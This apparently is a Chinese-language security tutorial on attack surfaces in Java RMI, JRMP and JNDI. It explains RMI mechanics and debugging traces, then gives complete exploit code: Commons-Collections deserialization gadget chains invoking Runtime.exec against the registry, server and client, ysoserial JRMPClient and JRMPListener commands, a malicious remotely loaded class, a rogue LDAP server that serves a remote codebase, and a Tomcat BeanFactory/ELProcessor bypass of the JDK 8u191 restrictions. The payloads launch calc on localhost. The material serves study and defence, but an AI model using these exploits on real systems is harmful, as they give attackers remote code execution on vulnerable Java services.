RMI、JNDI、JRMP的攻击面

RMI、JNDI、JRMP的攻击面

RMI和JNDI都是Java分布式中运用较多的技术,JRMP则是底层传输协议D

拿Web应用举例子,RMI就像HTTP协议,JNDI就像Apache Http Server,HRMP则相当于TCP协议

HTTP向后端请求文件,后端中间件实际不止是Apache一种,还可以是IIS、Tomcat等。而底层都是基于TCP协议来传输数据的


RMI

远程方法调用,可以让一个JVM调用另一个JVM上的远程类(实现java.rmi.Remote接口类)的方法

过程大概有三个组织参与:

具体方法是Server将需要提供的方法作为代理对象(也可以称为stub存根,包含服务器host和port),注册到Registry注册中心。然后client去请求Registry来获取去这个代理对象(stub),最后根据这个stub中的地址,通过rmi://协议,附上要调用的方法和参数,去请求这个地址(也就是server),server收到后去通过反射进行执行,将执行结果返回client


Registry

创建一个注册中心

package com.rmi;

import java.rmi.registry.LocateRegistry;

public class Registry {
public static void main(String[] args) throws Exception{
try {
LocateRegistry.createRegistry(1099);
}catch (Exception e){
e.printStackTrace();
}
while (true);
}
}

服务端创建接口

package com.server;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface HelloInterface extends Remote {
public String sayhello(String from) throws RemoteException;
}

`服务端的实现接口并且继承UnicastRemoteObject代码,作为实现类

package com.rmi;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class helloImpl extends UnicastRemoteObject implements HelloInterface{
protected helloImpl() throws RemoteException {
super();
}

@Override
public String sayhello(String from) throws RemoteException {
System.out.println("sayhello from "+ from);
return "sayhello";
}
}

服务端启动类,用于创建对象注册表和注册远程对象

package com.rmi;

import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.RemoteException;

public class helloServer {
public static void main(String[] args) throws RemoteException,MalformedURLException {
helloImpl hello = new helloImpl();
try {
Naming.rebind("rmi://127.0.0.1:1099/hello",hello);
}catch (RemoteException e){
e.printStackTrace();
}
}
}

客户端远程调用

这里客户端创建一个继承remote的类

package com.client;

import com.server.HelloInterface;

import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;

public class helloClient {
public static void main(String[] args) throws MalformedURLException, RemoteException, NotBoundException {
HelloInterface hello = (HelloInterface) Naming.lookup("rmi://127.0.0.1/hello");
String ret = hello.sayhello("Client");
System.out.println(ret);
// String[] str = Naming.list("rmi//127.0.0.1:1099");
// for (int i=0;i<str.length;i++){
// System.out.println(str[i]);
// }
}
}

首先开启注册中心,接着开启服务实现类,最后客户运行调用到远程类


EJB模拟代理访问

自行实现一个stub和skeleton程序,进一步了解代理访问原理

Person接口创建两个,一个是stub一个是skeleton的

package com.test.skeleton;

public interface Person {
public int getAge() throws Throwable;
public String getName() throws Throwable;
}

Person_Skeleton

package com.test.skeleton;

import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.net.ServerSocket;
import java.net.Socket;

public class Person_Skeleton extends Thread{
private PersonServer myServer;
public Person_Skeleton(PersonServer server) {
// get reference of object server
this.myServer = server;
}
public void run() {
try {
// new socket at port 9000
ServerSocket serverSocket = new ServerSocket(9000);
// accept stub's request
Socket socket = serverSocket.accept();
while (socket != null) {
// get stub's request
ObjectInputStream inStream =
new ObjectInputStream(socket.getInputStream());
String method = (String)inStream.readObject();
// check method name
if (method.equals("age")) {
// execute object server's business method
int age = myServer.getAge();
ObjectOutputStream outStream =
new ObjectOutputStream(socket.getOutputStream());
// return result to stub
outStream.writeInt(age);
outStream.flush();
}
if(method.equals("name")) {
// execute object server's business method
String name = myServer.getName();
ObjectOutputStream outStream =
new ObjectOutputStream(socket.getOutputStream());
// return result to stub
outStream.writeObject(name);
outStream.flush();
}
}
} catch(Throwable t) {
t.printStackTrace();
System.exit(0);
}
}
public static void main(String args []) {
// new object server
PersonServer person = new PersonServer("Richard", 34);
Person_Skeleton skel = new Person_Skeleton(person);
skel.start();
}
}

PersonServer

package com.test.skeleton;

import javax.naming.NameClassPair;
import javax.naming.NamingEnumeration;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class PersonServer implements Person {
private int age;
private String name;
public PersonServer(String name, int age) {
this.age = age;
this.name = name;
}
public int getAge() {
return age;
}
public String getName() {
return name;
}
}

Person_Stub

package com.test.stub;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.net.Socket;

public class Person_Stub implements Person {
private Socket socket;
public Person_Stub() throws Throwable {
// connect to skeleton
socket = new Socket("127.0.0.1", 9000);
}
public int getAge() throws Throwable {
// pass method name to skeleton
ObjectOutputStream outStream =
new ObjectOutputStream(socket.getOutputStream());
outStream.writeObject("age");
outStream.flush();
ObjectInputStream inStream =
new ObjectInputStream(socket.getInputStream());
return inStream.readInt();
}
public String getName() throws Throwable {
// pass method name to skeleton
ObjectOutputStream outStream =
new ObjectOutputStream(socket.getOutputStream());
outStream.writeObject("name");
outStream.flush();
ObjectInputStream inStream =
new ObjectInputStream(socket.getInputStream());
return (String)inStream.readObject();
}
}

PersonClient

package com.test.stub;

public class PersonClient {
public static void main(String [] args) {
try {
Person person = new Person_Stub();
int age = person.getAge();
String name = person.getName();
System.out.println(name + " is " + age + " years old");
} catch(Throwable t) {
t.printStackTrace();
}
}
}

Server:
final Registry registry = LocateRegistry.createRegistry(1099); //监听1099
registry.bind("hello",new HelloServiceImpl()); //绑定HelloServiceImpl对象到registry上,对应的name是hello

Client:
final Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
HelloService helloService = registry.lookup("hello");
System.out.println(helloService.sayHello());

Client2:
final Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
NamingEnumeration<NameClassPair> list = registry.list("");//调用list方法
while (list.hasMore()){
System.out.println(list.next().getName());
}

执行远程对象方法的流程:

  1. client获取stub中的host和port信息,序列化请求数据后连接到registry
  2. registry接受请求,把请求调度到remoteobject.上,将调用的结果进行序列化,返回给client
  3. client反序列化执行结果,返回给调用器。

可以发现其中的数据传输都是基于序列化实现的,这里的每个序列化/反序列化的点,都是一个攻击面。


由于RMI底层是使用JRMP协议进行通信,而JRMP协议通信本身就存在序列化,因此存在可利用的点

  1. server进行bind时,registry会对bind()的stub对象的序列化流进行反序列化。如果registry中有对应的反序列化依赖(gadget),则可以进行攻击
  2. client进行lookup时,registry会进行反序列化,client也会对registry返回的数据进行反序列化。因此,理论上,client可以主动攻击registry,registry也可以被动攻击client
  3. client调用远程方法时,server会对client传来的参数数据进行反序列化,client会对server的执行结果进行反序列化。因此client和server也可以互相攻击

使用cc1链构造恶意对象,通过rebind方法绑定到注册中心,就会对我们的对象进行反序列化就会触发链

Registry

package com.registry;

import java.rmi.registry.LocateRegistry;

public class Registry {
public static void main(String[] args) throws Exception{
try {
LocateRegistry.createRegistry(1099);
}catch (Exception e){
e.printStackTrace();
}
while (true);
}
}

helloServer

反序列化执行了我们Transformer

package com.server;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;


public class helloServer {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
Transformer transformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value","sss");//左边的值必须要是value
Map outputMap = TransformedMap.decorate(innerMap,null,transformer);
try {
Constructor<?> constructor = null;
constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class,outputMap);

Remote remote = Remote.class.cast(Proxy.newProxyInstance(helloServer.class.getClassLoader(), new Class[] {Remote.class}, invocationHandler));
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
registry.bind("sa",remote);
} catch (Exception e) {
e.printStackTrace();
}
}
}

我们尝试在RegistryImpl_Skel进行调试

在registry进行调试,客户端直接运行即可,可以到我们点击步过直接弹出计算器,我们先看这个var3,因为这边决定我们的分支走向

可以看到这var3为0

所以是走到0这个分支,可以看到调用了var11的readObject方法

我们可以看到是通过代理去强制转换为remote对象

优化poc

package com.server;

import java.io.Serializable;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;


public class helloServer {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
Transformer transformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value","sss");//左边的值必须要是value
Map outputMap = TransformedMap.decorate(innerMap,null,transformer);
try {
Constructor<?> constructor = null;
constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class,outputMap);

Remote remote = Remote.class.cast(Proxy.newProxyInstance(helloServer.class.getClassLoader(), new Class[] {Remote.class}, invocationHandler));
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
BindExploit bindExploit = new BindExploit(remote);

registry.bind("sa",bindExploit);
} catch (Exception e) {
e.printStackTrace();
}
}

private static class BindExploit implements Remote, Serializable{
private final Object memberValues;

private BindExploit(Object memberValues) {
this.memberValues = memberValues;
}
}
}

思考:服务端向注册端进行bind等操作, 是会验证服务端地址是否被注册端允许的(默认是只信任本机地址),那刚刚所讲的这种攻击方式有什么作用?

在JDK7版本之前是会先反序列化,再rebind,所以还是可以进行利用的,在后面8u141版本用checkAccess进行客户端地址检查,如果不是本地则不允许


JRMP

JRMP(Java远程消息交换协议),是Java的一种通信协议,其中RMI协议中的对象传输部分底层就可以通过JRMP协议实现

JRMP传输对象时就是基于序列化来实现,因此这个过程可能会存在一些问题


客户端攻击RMI registry另外一种方式

借助ysoserial工具的JRMPClient模块攻击注册中心

java -cp ysoserial-0.0.8-SNAPSHOT-all.jar ysoserial.exploit.JRMPClient 192.168.0.105 1099 CommonsCollections6 "calc.exe"

原理: RMI框架采用DGC(Distributed Garbage Collection)分布式垃圾收集机制来管理远程对象的生命周期,可以通过与DGC通信的方式发送恶意payload让注册中心反序列化。

条件: jdk8u121以 下及未支持JEP290的java版本


注册中心攻击客户端与服务端的方式

RMI Client的lookup()参数可控时,通过请求恶意Registry,可返回一个恶意序列化对象,结合RMI Client的lookup()参数可控时,通过请求恶意Registry,可返回一个恶意序列化对象,结合RMI Client本地的Gadget来攻击Client

借助ysoserial工具的JRMPListener模块,生成一个恶意的注册中心,当调用注册中心
的方法时,就可以进行恶意利用,以此来攻击客户端或者服务端的方法时,就可以进行恶意利用,以此来攻击客户端或者服务端

java -cp ysoserial-0.0.8-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "calc.exe"

另外,除了lookup方法,其余的操作也可以利用,如下:

正是如此,同样可以攻击服务端

客户端运行

package com.client;

import com.server.HelloInterface;

import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;

public class helloClient {
public static void main(String[] args) throws MalformedURLException, RemoteException, NotBoundException {
HelloInterface hello = (HelloInterface) Naming.lookup("rmi://127.0.0.1:1098/hello");
String ret = hello.sayhello("Client");
System.out.println(ret);
}
}

尝试分析调用链,可以看到是通过这个进行反序列化的


客户端攻击RMI服务端

服务端接口

package com.server;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface HelloInterface extends Remote {
public String sayhello(String from) throws RemoteException;
public Object test(Object obj) throws RemoteException;
}

服务端实现类

package com.server;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class helloImpl extends UnicastRemoteObject implements HelloInterface{
protected helloImpl() throws RemoteException {
super();
}

public String sayhello(String from) throws RemoteException {
System.out.println("sayhello from "+ from);
return "sayhello";
}

public Object test(Object obj) throws RemoteException {
return "hello "+obj.toString();
}
}

服务端服务绑定

package com.server;

import java.io.Serializable;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;


public class helloServer {
public static void main(String[] args) throws RemoteException, MalformedURLException {
helloImpl hello = new helloImpl();
Naming.rebind("rmi://127.0.0.1",hello);
}
}

客户端传入test携带的object对象

package ysoserial.test;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Naming;
import java.util.HashMap;
import java.util.Map;

public class helloClient {
public static void main(String[] args) throws Exception {
HelloInterface hello = (HelloInterface) Naming.lookup("rmi://127.0.0.1:1099/hello");

Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new String[]{"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap,transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object handler = construct.newInstance(Retention.class, outerMap);

String test = (String) hello.test(handler);
System.out.println(test);
}
}

调用链

UnicastServerRef#dispatch的138行下断点

这个unmarshalValue又调用了readObject,之后执行反序列化


服务端攻击客户端

跟客户端攻击服务端一样,在客户端调用一个远程方法时,只需要控制返回的对象是一个恶意对象就可以进行反序列化漏洞利用

例如我们将test方法的返回类型改为Object,然后再修改helloImpl类,把Commons-Collection的gadget放进test方法里作为return的结果返回客户端,就会反序列化执行POC链

创建服务端接口

package com.test.service;

import java.lang.reflect.InvocationTargetException;
import java.rmi.Remote;
import java.rmi.RemoteException;

public interface HelloInterface extends Remote {
public Object test(Object obj) throws RemoteException, IllegalAccessException, InvocationTargetException, InstantiationException, ClassNotFoundException, NoSuchMethodException;
}

服务实现类,返回恶意对象

package com.test.service;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.HashMap;
import java.util.Map;

public class helloImpl extends UnicastRemoteObject implements HelloInterface {
protected helloImpl() throws RemoteException {
super();
}

public Object test(Object obj) throws RemoteException, IllegalAccessException, InvocationTargetException, InstantiationException, ClassNotFoundException, NoSuchMethodException {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new String[]{"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap,transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object handler = construct.newInstance(Retention.class, outerMap);

return handler;
}
}

JNDI注入

JNDI (The Java Naming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名和目录服务的API,命名服务将名称和对象联系起来,使得我们可以用名称访问对象

JDNI通过绑定的概念将对象和名称联系起来。在一个文件系统中,文件名被绑定给文件。

在DNS中,一个IP地址绑定一个URL。

在目录服务中,一个对象名被绑定给一个对象实体。


客户端调用方式

//指定需要查找name名称
String jndiName = "jndiName";
//初始化默认环境
Context context = new InitialContext();
//查找该name的数据
context.lookup(jndiName);

这里的jndiName变量的值可以是上面的命名/目录服务列表里面的值,如果JNDI名称可控的话可以被攻击


JNDI利用方式-RMI + JNDI Reference Payload

被动者代码

假设lookup方法参数可控

package com.jndi;

import javax.naming.Context;
import javax.naming.InitialContext;

public class Client {
public static void main(String[] args) {
try {
String uri = "rmi://127.0.0.1:1099/Exp";
Context ctx = new InitialContext();
ctx.lookup(uri);
} catch (Exception e){
e.printStackTrace();
}
}
}

恶意类

将恶意类传到web服务器上

public class Exp {
static {
try {
Runtime.getRuntime().exec(new String[]{"cmd","/c","calc"});
} catch (IOException e){
e.printStackTrace();
}
}

public static void main(String[] args) {

}
}

python快速搭建http服务

python3 -m http.server

攻击者代码

JNDI References是类javax naming. Reference的Java对象。它由有关所引用对象的类信息和地址的有序列表组成。

Reference还包含有助于创建所引用的对象实例信息。它包含该对象的Java名称,以及用于创建对象的工厂类名称和位置

开启RMI服务,绑定对象是References,ReferenceWrapper的作用是将Reference封装成远程对象

package com.jndi;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class attack {
public static void main(String[] args) throws RemoteException {
try {
Registry registry = LocateRegistry.createRegistry(1099);
Reference aa = new Reference("Exp","Exp","http://127.0.0.1:8000/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(aa);
registry.bind("Exp", referenceWrapper);
} catch (Exception e) {
e.printStackTrace();
}
}
}

我们可以看下这个ReferenceWrapper类

首先我们开启RMI,再运行client,成功弹出计算器


我们尝试对lookup方法进行调试

跟入lookup方法,如果是直接弹出计算机,直接去看堆栈最后一个进行断点

我们跟进getURLOrDefaultInitCtx方法看下作用

image-20220316165528598

前面做了下协议判断,获取URL内容,我们可以看下返回结果是什么,是一个RMI的上下文

我们跟进lookup方法

可以看到前面是获取到名称解析的结果的对象,跟尚未解析的部分,后面是返回已经解析的对象,再对尚未解析的对象进行lookup

我们继续跟进

继续步入

后面回走到decodeObject方法,大致意思是对对象进行解码,我们跟进看看,可以看到这边调用了getObjectInstance方法,这边会判断是不是RemoteReference实例,会去调用getReference,会去获得我们封装之前的Reference对象

跟进getObjectInstance,var2传入的是exp,builder是空直接跳过,判断传进来的refInfo是不是Reference的实例,对reinfo进行强转

获取到工厂类名,我们继续跟进getObjectFactoryFromReference

首先前面做了个本地加载,class为空,无法加载

之后调用远程的加载

我们跟进去看下是如何加载的,通过URLClassLoader来加载的

我们看下如何加载的,进入loadClass

我们看下forName是用来加载参数指定的类,⼀个参数是类名;第⼆个参数表示是否初始化;第三个参数就是ClassLoader

forName中的initialize=true其实就是告诉Java虚拟机是否执行”类初始化”,也就会执行我们的static代码块,造成了远程命令执行


修复方式

JDK6u41、JDK 7u131、JDK8u121中Java提升了JNDI限制了Naming/Directory服务中JNDI Reference远程加载Object Factory类的特性。系统属性com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase的默认值变为false。即默认不允许从远程的Codebase加载Reference工厂类

我们看下这个trustURLCodebase默认为false,我们无法走到getObjectInstance方法


JNDI利用方式-LDAP+ JNDI Reference Payload

LDAP是基于X 500标准的轻量级目录访问协议,目录是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样。

LDAP也能返回JNDI Reference对象,利用过程与上面RMI Reference基本一致,只是lookup()中的URL为一个LDAP地址: ldap://xxxxx,由攻击者控制的LDAP服务端返回一个恶意的JNDI Reference对象。

LDAP服务的Reference远程加载Factory类不受上一点中com.sun.jndi.rmi.object.trustURLCodebase、com.sunjndi.cosnaming.object.trustURLCodebase等属性的限制,所以适用范围更广。

LDAP依赖:unboundid-ldapsdk

https://mvnrepository.com/artifact/com.unboundid/unboundid-ldapsdk/3.1.1


刚刚的RMI+ Reference的攻击方式是通过RMI服务返回一个JNDI Naming Reference,受害者解码Reference时会去我们指定的Codebase远程地址加载Factory类,但是LDAP+ Reference原理,上并非使用RMI Class Loading机制的,因此不受java.rmi.server.useCodebaseOnly系统属性的限制


pom.xml

<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>3.1.1</version>
</dependency>

首先是起一个LDAP服务

package com.jndi.ldap;

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;


public class LdapServer {

private static final String LDAP_BASE = "dc=example,dc=com";

public static void main(String[] argsx) {
String[] args = new String[]{"http://127.0.0.1:8000/#Exp"}; //此处填写格式为文件服务器(存放class文件)的IP与端口,后接需要获取的class的文件名,例如请求Shell.class,则填写/#Shell
int port = 7777; //此处填写需要开启LDAP服务的端口号


try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();

}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;

public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}

@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}

protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}

客户端

package com.jndi;

import javax.naming.Context;
import javax.naming.InitialContext;

public class jndi {
public static void main(String[] args) {
try {
String uri = "ldap://127.0.0.1:7777/Exp";
Context ctx = new InitialContext();
ctx.lookup(uri);
} catch (Exception e){
e.printStackTrace();
}
}
}

我们尝试对lookup方法进行调试

尝试跟进,如果是直接弹出计算机,直接去看堆栈最后一个进行断点

我们直接进入连续跟进几个lookup方法

看到这里会对ldap进行检索

可以看到这里有去判断javaClassName是否为空,我们这边有给javaClassName传foo的值

之后就进入了decodeObject方法

我们进入看看,可以看到这边getCodebases是获取javaCodeBase

这边是判断一个javaSerializeData我们并没有传值,所以为空

var1是获取远程对象的地址

最后走到else方法

走进方法,JAVA_ATTRIBUTES[3]是javaClassName,不为空

var4是获取javaClassName值为foo,与RMI相比,LDAP是要自己new一个Reference,RMI是自己传进属性值判断返回一个Reference

下面是获取第五个javaReferenceAddress,为空

直接返回

后面又调用到decodeObject方法

我们继续跟进,这里调用了getObjectInstance方法

继续跟入,同样的这边会做一个判断,因为为空,则步过

可以看到这边对ref进行了强转

我们继续走,进入

走进了本地加载类

后面的方法与RMI是一样的,走到远程加载

走到远程加载

走到loadClass

最终forName调用


修复方式

jdk版本切换为8u231

trustURLCoderbase为false,导致ldap加载远程字节码不会执行成功

在2018年10月,Java最终也修复了LDAP远程加载恶意类这个利用点,对LDAP Reference远程工厂类的加载增加了限制,在Oracle JDK 11.0.1、8u191、 7u201、 6u211之后com.sunjndi.ldap.object.trustURLCodebase属性的默认值被调整为false,还对应的分配了一个漏洞CVE-2018-3149.


绕过JDK 8u191等高版本限制 | RMI篇

利用本地Class作为Reference Factory

在jdk8u191之后RMI和LDAP默认都不能从远程加载类还是可以在RMI和LDAP中获取对象。


虽然高版本JDK默认情况下不允许JNDI Reference从远程地址加载ObjectFactory类。但仍旧可以加载一个存在于本地环境classpath的ObjectFactory类

具体思路:加载一个目标机器classpath中存在的类,然后将其实例化,调用其getObjectInstance方法时实现代码执行。


我们从字面意思大概能知道,这个方法是从引用中获取对象工厂

可以看到后面还构造调用了factory.getObjectInstance,所以寻找的方法也需要有可以构造exp

这是之前低版本利用的工厂类,也就是我们构造的工厂类方法


所以我们要找到一个目标类

  1. 实现ObjectFactory接口
  2. 有getObjectInstance方法且可以构造exp

org.apache.naming.factory.BeanFactory刚好满足条件并且存在被利用的可能,存在于Tomcat依赖包中,使用也比较广泛。


org.apache.naming.factory.BeanFactory在getObjectlnstance()中会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter方法为所有的属性赋值。而org.apache.naming.factory.BeanFactory在getObjectlnstance()中会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter方法为所有的属性赋值。而该Bean Class的类名、属性、属性值,全都来自于Reference对象,均是攻击者可控的。

目标bean要求:

javax.el.ELProcessor符合条件:

ELProcessor中有个eval(String)方法可以执行EL表达式


pom.xml

<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.38</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-jasper-el</artifactId>
<version>8.5.38</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
<version>8.5.38</version>
</dependency>

JNDI_Client

package com.test;

import javax.naming.*;
public class JNDI_Client {
public static void main(String[] args) throws Exception {
String uri = "rmi://127.0.0.1:1099/EvalObj";
Context ctx = new InitialContext();
ctx.lookup(uri); // 返回加载的远程对象
}
}

JNDI_Server

使用ELProcessor构造payload

package com.test;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.StringRefAddr;
import org.apache.naming.ResourceRef;

public class JNDI_Server {

public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null); //ResourceRef与Reference作用是一样的,第一个参数是添加了ELProcessor类,第六个参数指定factory为BeanFactory
resourceRef.add(new StringRefAddr("forceString", "a=eval")); //添加类型forceString,内容a=eval
resourceRef.add(new StringRefAddr("a", "Runtime.getRuntime().exec(\"calc.exe\")")); //添加类型为x,内容为后面的exec
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef); //同样的对构造对象进行封装为远程对象
registry.bind("EvalObj", referenceWrapper);
System.out.println("the Server is bind rmi://127.0.0.1:1099/EvalObj");
}
}

尝试进行调试

前面调试过程是一样的,我们直接走到decodeObject方法

获取到ReferenceWrapper,之后执行getObjectInstance获取到ResourceRef

